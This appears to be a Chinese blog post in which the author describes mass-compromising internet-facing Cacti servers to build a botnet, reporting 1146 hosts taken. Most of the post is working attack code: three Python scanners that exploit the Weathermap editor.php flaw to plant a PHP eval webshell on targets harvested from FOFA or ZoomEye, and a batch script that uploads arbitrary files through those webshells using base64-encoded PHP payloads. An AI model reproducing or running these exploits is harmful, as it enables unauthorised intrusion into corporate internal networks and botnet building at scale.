> 企业核心区域除线上业务,只剩下运维与数据库相关系统,想建立僵尸网络,在完成平时的渗透工作时快速定位自己是否有目标相关内网权限,挂马获取员工PC起或者一些新装服务挂马,基效果并不会太好,一些服务如:walle,HUE,Django,zabbix,zookeeper,hadoop,Flume-ng、GraphicsMagick。这些系统如果能找到相关主机漏洞或者相对鸡肋的漏洞,都可以获取质量相对较高的内网权限。更多信息:http://sh4d0w.lofter.com
这次,我们使用的是cacti。一个很老的漏洞,之前是东西是2015年写的POC的,之前抓到了2000+,最近需要一些肉鸡,所以又试了一下,发现还是能找到1000多台全球主机,基本都在企业内网,包括国内外知名企业。
> 可以使用zoomeyes api 与fafo api ,我使用的是fofa。
>
> zoomeyes 与 fafo 采集结果数据两者是不同的。所以exp 我给出两种不同结构。
>
> zoomeyes数据结构:(域名)+端口
>
> fofa数据结构:http://+(域名)+端口
使用命令 exp.py -f ip.txt (IP里面格式一行放一个IP) ,IP端口需要修改的话,请修改port_list。这种对应 zoomeyes的数据结构。
import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading
port_list = ['80,443,8080,81,8081']
payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'
payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'
class main_class(object):
def __init__(self,target_ip,thread_num):
#print target_ip
self.target_ip = target_ip
self.thread_num = thread_num
self.queue = Queue.Queue()
self.start_time = time.time()
self.load_queue()
def load_queue(self):
for i in port_list:
self.queue.put(i)
def worker(self):
while self.queue.qsize() > 0:
port = self.queue.get()
try:
req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
if "Cacti" in req.content:
try:
#print self.target_ip
requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
#print self.target_ip,port
print "http://"+self.target_ip+":"+port+payload2
except:
try:
requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
#print self.target_ip,port
print "http://"+self.target_ip+":"+port+payload4
except:
pass
else:
continue
except:
pass
self.queue.task_done()
def main(self):
thread_list = []
for i in range(self.thread_num):
t = threading.Thread(target = self.worker)
thread_list.append(t)
t.setDaemon(True)
t.start()
for i in thread_list:
i.join()
def func(ip,num):
#for i in xrange(3):
#print ip
main = main_class(target_ip = ip,thread_num = num)
main.main()
time.sleep(0.1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='portscan')
parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)
parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
a = []
if args.dest_ip:
a.append(args.dest_ip)
elif args.dest_ipaddr:
for i in netaddr.IPNetwork(args.dest_ipaddr):
a.append(i)
elif args.dest_file:
for i in open(args.dest_file).readlines():
i = i.strip('\n')
a.append(i)
else:
print "-t -i or -a or -f"
sys.exit(-1)
for target_ip in a:
pool = multiprocessing.Pool(processes=2)
pool.apply_async(func, (target_ip,args.thread_num))
pool.close()
pool.join()
使用命令 exp.py -f ip.txt (ip.txt格式:http://(IP或者域名):端口)
import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading
port_list = ['80,443,8080,81,8081']
payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'
payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'
class main_class(object):
def __init__(self,target_ip,thread_num):
#print target_ip
self.target_ip = target_ip
self.thread_num = thread_num
self.queue = Queue.Queue()
self.start_time = time.time()
self.load_queue()
def load_queue(self):
for i in port_list:
self.queue.put(i)
def worker(self):
while self.queue.qsize() > 0:
port = self.queue.get()
try:
req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
if "Cacti" in req.content:
try:
#print self.target_ip
requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
#print self.target_ip,port
print "http://"+self.target_ip+":"+port+payload2
except:
try:
requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
#print self.target_ip,port
print "http://"+self.target_ip+":"+port+payload4
except:
pass
else:
continue
except:
pass
self.queue.task_done()
def main(self):
thread_list = []
for i in range(self.thread_num):
t = threading.Thread(target = self.worker)
thread_list.append(t)
t.setDaemon(True)
t.start()
for i in thread_list:
i.join()
def func(ip,num):
#for i in xrange(3):
#print ip
main = main_class(target_ip = ip,thread_num = num)
main.main()
time.sleep(0.1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='portscan')
parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)
parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
a = []
if args.dest_ip:
a.append(args.dest_ip)
elif args.dest_ipaddr:
for i in netaddr.IPNetwork(args.dest_ipaddr):
a.append(i)
elif args.dest_file:
for i in open(args.dest_file).readlines():
i = i.strip('\n')
a.append(i)
else:
print "-t -i or -a or -f"
sys.exit(-1)
for target_ip in a:
pool = multiprocessing.Pool(processes=2)
pool.apply_async(func, (target_ip,args.thread_num))
pool.close()
pool.join()
对https处理有些问题,如果https使用下面:
import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading
import os
import signal
port_list = ('80')
payload1 = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'
payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'
requests.packages.urllib3.disable_warnings()
class main_class(object):
def __init__(self,target_ip,thread_num):
#print os.getpid()
self.target_ip = target_ip
self.thread_num = thread_num
self.queue = Queue.Queue()
self.start_time = time.time()
self.load_queue()
def load_queue(self):
for i in port_list:
self.queue.put(i)
def worker(self):
while self.queue.qsize() > 0:
port = self.queue.get()
#print self.target_ip,port
try:
req = requests.get(self.target_ip,timeout=4, verify=False)
if "Cacti" in req.content:
try:
r = requests.get(self.target_ip+payload3,timeout=4,verify=False)
if r.status_code == 404:
requests.get(self.target_ip+payload1,timeout=4,verify=False)
req = requests.get(self.target_ip+payload2,timeout=4,verify=False)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
print self.target_ip+payload2
#os.kill(os.getpid(), signal.SIGKILL)
else:
req = requests.get(self.target_ip+payload4,timeout=4,verify=False)
if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
print self.target_ip+"payload4"
#os.kill(os.getpid(), signal.SIGKILL)
except:
#print "error1"
pass
except:
#print "error2"
pass
self.queue.task_done()
def main(self):
thread_list = []
for i in range(self.thread_num):
t = threading.Thread(target = self.worker)
thread_list.append(t)
t.setDaemon(True)
t.start()
for i in thread_list:
i.join()
def func(ip,num):
#for i in xrange(3):
#print ip
main = main_class(target_ip = ip,thread_num = num)
main.main()
time.sleep(0.1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='portscan')
parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)
parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
a = []
if args.dest_ip:
a.append(args.dest_ip)
elif args.dest_ipaddr:
for i in netaddr.IPNetwork(args.dest_ipaddr):
a.append(i)
elif args.dest_file:
for i in open(args.dest_file).readlines():
i = i.strip('\n')
a.append(i)
else:
print "-t -i or -a or -f"
sys.exit(-1)
try:
pool = multiprocessing.Pool(processes=5)
for target_ip in a:
pool.apply_async(func, (target_ip,args.thread_num))
#pool.apply(func, (target_ip,args.thread_num))
pool.close()
pool.join()
except KeyboardInterrupt,e:
sys.exit(-1)
这里安全小飞侠写过一个脚本:http://www.freebuf.com/sectool/91082.html 但不支持HTTPS,需要在上面
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
解决访问Https时不受信任SSL证书问题
使用命令: shell.py webshell.txt wenjian.txt (webshell.txt文件格式 http://xx.com/muma.php,0),(wenjian.txt 上传文件的格式,如果上传PHP,一定要是PHP后缀)
代码:
#!/usr/bin/python
#coding=utf-8
import urllib
import urllib2
import sys
import base64
import re
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
def post(url, data):
req = urllib2.Request(url)
data = urllib.urlencode(data)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
def get_shell_path(posturl,passwd):
shell_path = ""
try:
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
shell_path = post(posturl, data).strip()
except Exception:
pass
return shell_path
def main():
print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
shellfile = sys.argv[1] # 存放webshell路径和密码的文件
localfile = sys.argv[2] # 本地待上传的文件名
shell_file = open(shellfile,'rb')
local_content = str(open(localfile,'rb').read())
for eachline in shell_file:
posturl = eachline.split(',')[0].strip()
passwd = eachline.split(',')[1].strip()
try:
reg = ".*/([^/]*\.php?)"
match_shell_name = re.search(reg,eachline)
if match_shell_name:
shell_name=match_shell_name.group(1)
shell_path = get_shell_path(posturl,passwd).strip()
target_path = shell_path.split(shell_name)[0]+localfile
target_path_base64 = base64.b64encode(target_path)
target_file_url = eachline.split(shell_name)[0]+localfile
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1']=target_path_base64
data['z2']=base64.b64encode(local_content)
response = post(posturl, data)
if response:
print '[+] '+target_file_url+', upload succeed!'
else:
print '[-] '+target_file_url+', upload failed!'
else:
print '[-] '+posturl+', unsupported webshell!'
except Exception,e:
print '[-] '+posturl+', connection failed!'
shell_file.close()
if __name__ == '__main__':
main()
最后上线主机 1146台。